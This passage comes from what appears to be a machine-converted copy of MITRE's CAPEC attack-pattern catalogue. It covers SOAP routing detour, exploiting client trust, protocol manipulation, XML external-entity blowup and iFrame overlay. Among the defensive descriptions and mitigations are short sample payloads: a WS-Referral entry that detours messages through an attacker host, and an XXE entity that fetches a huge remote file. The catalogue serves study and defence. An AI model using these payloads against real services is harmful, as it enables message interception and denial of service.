Consequence_11618 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence11625 + Consequence_11625 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Specify maximum number intermediate nodes for the request and require SSL connections with mutual authentication.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use SSL for connections between all parties with mutual authentication.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Here is an example SOAP call from a client, example1.com, to a target, example4.com, via 2 intermediaries, example2.com and example3.com. (note: The client here is not necessarily a 'end user client' but rather the starting point of the XML transaction).&lt;/xhtml:p&gt; + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Example SOAP message with routing information in header:&lt;/xhtml:b&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;S:Envelope&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;S:Header&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:action&amp;gt;http://example1.com/&amp;lt;/m:action&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:to&amp;gt;http://example4.com/router&amp;lt;/m:to&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:id&amp;gt;uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f&amp;lt;/m:id&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:fwd&amp;gt; &amp;lt;m:via&amp;gt;http://example2.com/router&amp;lt;/m:via&amp;gt; &amp;lt;/m:fwd&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:rev /&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/m:path&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/S:Header&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;S:Body&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;...&lt;/xhtml:div&gt;&amp;lt;/S:Body&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/S:Envelope&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt; + &lt;xhtml:p&gt;Add an additional node (example3.com/router) to the XML path in a WS-Referral message&lt;/xhtml:p&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;r:ref xmlns:r="http://schemas.example.com/referral"&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;r:for&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;r:prefix&amp;gt;http://example2.com/router&amp;lt;/r:prefix&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/r:for&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;r:if/&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;r:go&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;r:via&amp;gt;http://example3.com/router&amp;lt;/r:via&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/r:go&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/r:ref&amp;gt;&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Resulting in the following SOAP Header:&lt;/xhtml:b&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="result"&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;S:Envelope&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;S:Header&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:action&amp;gt;http://example1.com/&amp;lt;/m:action&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:to&amp;gt;http://example4.com/router&amp;lt;/m:to&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:id&amp;gt;uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f&amp;lt;/m:id&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:fwd&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:via&amp;gt;http://example2.com/router&amp;lt;/m:via&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:via&amp;gt;http://example3.com/router&amp;lt;/m:via&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/m:fwd&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:rev /&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/m:path&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/S:Header&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;S:Body&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;...&lt;/xhtml:div&gt;&amp;lt;/S:Body&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/S:Envelope&amp;gt;&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Continuing with this example, the attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header but not access the message directly on the initiator/intermediary node that they have targeted.&lt;/xhtml:p&gt; + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Example of WS-Referral based WS-Routing injection of the bogus node route:&lt;/xhtml:b&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;r:ref xmlns:r="http://schemas.example.com/referral"&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;r:for&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;r:prefix&amp;gt;http://example2.com/router&amp;lt;/r:prefix&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/r:for&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;r:if/&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;r:go&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;r:via&amp;gt;http://evilsite1.com/router&amp;lt;/r:via&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/r:go&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/r:ref&amp;gt;&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Resulting XML Routing Detour attack:&lt;/xhtml:b&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="result"&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;S:Envelope&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;S:Header&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:action&amp;gt;http://example_0.com/&amp;lt;/m:action&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:to&amp;gt;http://example_4.com/router&amp;lt;/m:to&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:id&amp;gt;uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f&amp;lt;/m:id&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:fwd&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:via&amp;gt;http://example2.com/router&amp;lt;/m:via&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:via&amp;gt;http://evilesite1.com/router&amp;lt;/m:via&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:via&amp;gt;http://example3.com/router&amp;lt;/m:via&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/m:fwd&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;m:rev /&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/m:path&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/S:Header&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;S:Body&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;...&lt;/xhtml:div&gt;&amp;lt;/S:Body&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/S:Envelope&amp;gt;&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Thus, the attacker can route the XML message to the attacker controlled node (and access to the message contents).&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 441 + + + + + 610 + + + + + + + + + + + + #indTaxonomyMappingRoutingDetour + Routing Detour + + + + + + + + + + + + + + 32 + + + + + Routing Detour + + + + + + + + + + + + #indTaxonomyMappingXMLEntityExpansion + XML Entity Expansion + + + + + + + + + + + + + + 44 + + + + + XML Entity Expansion + + + + + + + + + + + + #indReferenceReference11698 + Reference_11698 + + + + + + + + + REF-80 + + + + + WASC-32 - Routing Detour + + + + + + + + + + + + #indReferenceReference11699 + Reference_11699 + + + + + + + + + REF-81 + + + + + + + + + + + + #indReferenceReference11700 + Reference_11700 + + + + + + + + + REF-65 + + + + + + + + + + + + #indContentHistoryContentHistory11702 + Content_History_11702 + + + + + + + + + + + + + + + + #indSubmissionSubmission11703 + Submission_11703 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification11708 + Modification_11708 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification11714 + Modification_11714 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Example_Instances + + + + + + + + + + + + #indModificationModification11720 + Modification_11720 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification11726 + Modification_11726 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Description, Example_Instances + + + + + + + + + + + + #indModificationModification11732 + Modification_11732 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-22 + Exploiting Trust in Client + + + + + + + + + 22 + + + + + Exploiting Trust in Client + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Server software must rely on client side formatted and validated values, and not reinforce these checks on the server side.</xhtml:div> + + + + + + + + + + + + #indSkillSkill11748 + Skill_11748 + + + + + + + + + + + + + + The attacker must have fairly detailed knowledge of the syntax and semantics of client/server communications protocols and grammars + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to communicate synchronously or asynchronously with server</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence11754 + Consequence_11754 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence11761 + Consequence_11761 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence11767 + Consequence_11767 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Ensure that client process and/or message is authenticated so that anonymous communications and/or messages are not accepted by the system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Do not rely on client validation or encoding for security purposes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Utilize digital signatures to increase authentication assurance.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Utilize two factor authentication to increase authentication assurance.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform input validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Web applications may use JavaScript to perform client side validation, request encoding/formatting, and other security functions, which provides some usability benefits and eliminates some client-server round-tripping. However, the web server cannot assume that the requests it receives have been subject to those validations, because an attacker can use an alternate method for crafting the HTTP Request and submit data that contains poisoned values designed to spoof a user and/or get the web server to disclose information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Web 2.0 style applications may be particularly vulnerable because they in large part rely on existing infrastructure which provides scalability without the ability to govern the clients. Attackers identify vulnerabilities that either assume the client side is responsible for some security services (without the requisite ability to ensure enforcement of these checks) and/or the lack of a hardened, default deny server configuration that allows for an attacker probing for weaknesses in unexpected ways. Client side validation, request formatting and other services may be performed, but these are strictly usability enhancements not security enhancements.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many web applications use client side scripting like JavaScript to enforce authentication, authorization, session state and other variables, but at the end of day they all make requests to the server. These client side checks may provide usability and performance gains, but they lack integrity in terms of the http request. It is possible for an attacker to post variables directly to the server without using any of the client script security checks and customize the patterns to impersonate other users or probe for more information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many message oriented middleware systems like MQ Series are rely on information that is passed along with the message request for making authorization decisions, for example what group or role the request should be passed. However, if the message server does not or cannot authenticate the authorization information in the request then the server's policy decisions about authorization are trivial to subvert because the client process can simply elevate privilege by passing in elevated group or role information which the message server accepts and acts on.</xhtml:div> + + + + + 290 + + + + + 287 + + + + + 20 + + + + + 200 + + + + + 693 + + + + + + + + + + + + #indReferenceReference11793 + Reference_11793 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory11795 + Content_History_11795 + + + + + + + + + + + + + + + + #indSubmissionSubmission11796 + Submission_11796 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification11801 + Modification_11801 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification11807 + Modification_11807 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName11813 + Previous_Entry_Name_11813 + + + + + + + + + 2015-12-07 + + + + + Exploiting Trust in Client (aka Make the Client Invisible) + + + + + + + + + + + + #CAPEC-220 + Client-Server Protocol Manipulation + + + + + + + + + 220 + + + + + Client-Server Protocol Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary takes advantage of weaknesses in the protocol by which a client and server are communicating to perform unexpected actions. Communication protocols are necessary to transfer messages between client and server applications. Moreover, different protocols may be used for different types of interactions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;For example, an authentication protocol might be used to establish the identities of the server and client while a separate messaging protocol might be used to exchange data. If there is a weakness in a protocol used by the client and server, an attacker might take advantage of this to perform various types of attacks. For example, if the attacker is able to manipulate an authentication protocol, the attacker may be able spoof other clients or servers. If the attacker is able to manipulate a messaging protocol, the may be able to read sensitive information or modify message contents. This attack is often made easier by the fact that many clients and servers support multiple protocols to perform similar roles. For example, a server might support several different authentication protocols in order to support a wide range of clients, including legacy clients. Some of the older protocols may have vulnerabilities that allow an attacker to manipulate client-server interactions.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern11824 + Related_Attack_Pattern_11824 + + + + + + + + + + + + + + 272 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The client and/or server must utilize a protocol that has a weakness allowing manipulation of the interaction.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must be able to identify the weakness in the utilized protocol and exploit it. This may require a sniffing tool as well as packet creation abilities. The adversary will be aided if they can force the client and/or server to utilize a specific protocol known to contain exploitable weaknesses.</xhtml:div> + + + + + 757 + + + + + + + + + + + + #indContentHistoryContentHistory11835 + Content_History_11835 + + + + + + + + + + + + + + + + #indSubmissionSubmission11836 + Submission_11836 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification11841 + Modification_11841 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-221 + Data Serialization External Entities Blowup + + + + + + + + + 221 + + + + + Data Serialization External Entities Blowup + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern11854 + Related_Attack_Pattern_11854 + + + + + + + + + + + + + + 231 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern11855 + Related_Attack_Pattern_11855 + + + + + + + + + + + + + + 278 + + + + + + + + + + + + #indAttackStepAttackStep11858 + Attack_Step_11858 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find target web service] The adversary must first find a web service that takes input data in the form of a serialized language such as XML or YAML.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep11863 + Attack_Step_11863 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Host malicious file on a server] The adversary will create a web server that contains a malicious file. This file will be extremely large, so that if a web service were to try to load it, the service would most likely hang.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep11868 + Attack_Step_11868 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft malicious data] Using the serialization language that the web service takes as input, the adversary will craft data that links to the malicious file using an external entity reference to the URL of the file.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep11873 + Attack_Step_11873 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Send serialized data containing URI] The adversary will send specially crafted serialized data to the web service. When the web service loads the input, it will attempt to download the malicious file. Depending on the amount of memory the web service has, this could either crash the service or cause it to hang, resulting in a Denial of Service attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A server that has an implementation that accepts entities containing URI values.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence11883 + Consequence_11883 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence11887 + Consequence_11887 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack may be mitigated by tweaking the XML parser to not resolve external entities. If external entities are needed, then implement a custom XmlResolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack may be mitigated by tweaking the serialized data parser to not resolve external entities. If external entities are needed, then implement a custom resolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In this example, the XML parser parses the attacker's XML and opens the malicious URI where the attacker controls the server and writes a massive amount of data to the response stream. In this example the malicious URI is a large file transfer.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt; !DOCTYPE bomb [&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;!ENTITY detonate SYSTEM "http://www.malicious-badguy.com/myhugefile.exe"&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;]&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;bomb&amp;gt;&amp;amp;detonate;&amp;lt;/bomb&amp;gt;&lt;/xhtml:div&gt; + </xhtml:div> + + + + + 611 + + + + + + + + + + + + #indTaxonomyMappingXMLExternalEntities + XML External Entities + + + + + + + + + + + + + + 43 + + + + + XML External Entities + + + + + + + + + + + + #indContentHistoryContentHistory11914 + Content_History_11914 + + + + + + + + + + + + + + + + #indSubmissionSubmission11915 + Submission_11915 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification11920 + Modification_11920 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification11926 + Modification_11926 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification11932 + Modification_11932 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated @Name, Description, Mitigations, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification11938 + Modification_11938 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Consequences, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification11944 + Modification_11944 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification11950 + Modification_11950 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances, Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName11956 + Previous_Entry_Name_11956 + + + + + + + + + 2018-07-31 + + + + + XML External Entities + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName11957 + Previous_Entry_Name_11957 + + + + + + + + + 2020-07-30 + + + + + XML External Entities Blowup + + + + + + + + + + + + #CAPEC-222 + iFrame Overlay + + + + + + + + + 222 + + + + + iFrame Overlay + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In an iFrame overlay attack the victim is tricked into unknowingly initiating some action in one system while interacting with the UI from seemingly completely different system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;While being logged in to some target system, the victim visits the adversarys' malicious site which displays a UI that the victim wishes to interact with. In reality, the iFrame overlay page has a transparent layer above the visible UI with action controls that the adversary wishes the victim to execute. The victim clicks on buttons or other UI elements they see on the page which actually triggers the action controls in the transparent overlaying layer. Depending on what that action control is, the adversary may have just tricked the victim into executing some potentially privileged (and most undesired) functionality in the target system to which the victim is authenticated. The basic problem here is that there is a dichotomy between what the victim thinks they are clicking on versus what they are actually clicking on.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern11968 + Related_Attack_Pattern_11968 + + + + + + + + + + + + + + 103 + + + + + 403 + + + + + + + + + + + + #indAttackStepAttackStep11973 + Attack_Step_11973 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft an iFrame Overlay page] The adversary crafts a malicious iFrame overlay page.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary leverages iFrame overlay capabilities to craft a malicious iFrame overlay page.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep11979 + Attack_Step_11979 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[adversary tricks victim to load the iFrame overlay page] adversary utilizes some form of temptation, misdirection or coercion to trick the victim to loading and interacting with the iFrame overlay page in a way that increases the chances that the victim will visit the malicious page.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Trick the victim to the malicious site by sending the victim an e-mail with a URL to the site.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Trick the victim to the malicious site by manipulating URLs on a site trusted by the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Trick the victim to the malicious site through a cross-site scripting attack.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep11987 + Attack_Step_11987 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Trick victim into interacting with the iFrame overlay page in the desired manner] The adversary tricks the victim into clicking on the areas of 